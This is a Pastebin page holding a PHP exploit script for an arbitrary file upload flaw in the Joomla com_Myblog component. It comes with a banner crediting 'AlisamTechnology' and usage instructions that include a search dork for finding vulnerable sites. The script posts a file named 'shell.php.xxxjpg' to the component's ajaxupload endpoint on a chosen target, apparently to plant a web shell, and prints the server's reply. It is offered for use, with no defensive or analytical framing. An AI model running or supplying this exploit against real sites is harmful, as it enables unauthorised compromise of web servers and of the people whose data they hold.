Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- print "
- [+]================================================================[+]
- [+]------- Joomla com_Myblog Arbitrary File Upload -------[+]
- [+]================================================================[+]
- [+]-------------- AlisamTechnology --------------[+]
- [+]------ https://www.fb.com/Forces.des.tempetes.marocaines ------[+]
- [+]------ https://www.youtube.com/user/aliartes ------[+]
- [+]-------------- Original script --------------[+]
- [+]-------------- http://0day.today/exploit/23901 ----------[+]
- [+]================================================================[+]
- [+]====================== USAGE ======================[+]
- [+] dork index of /components/com_myblog/ [+]
- [+] php exploit.php TARGET [+]
- [+]================================================================[+]
- ";
- $ur = isset($argv[1]) && strstr($argv[1], 'http') ? $argv[1] : "http://{$argv[1]}";
- $argv[1] = $ur;
- $uploadfile="shell.php.xxxjpg";
- $ch = curl_init("$argv[1]/index.php?option=com_myblog&task=ajaxupload");
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS,
- array('fileToUpload'=>"@$uploadfile"));
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $postResult = curl_exec($ch);
- curl_close($ch);
- print "$postResult";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment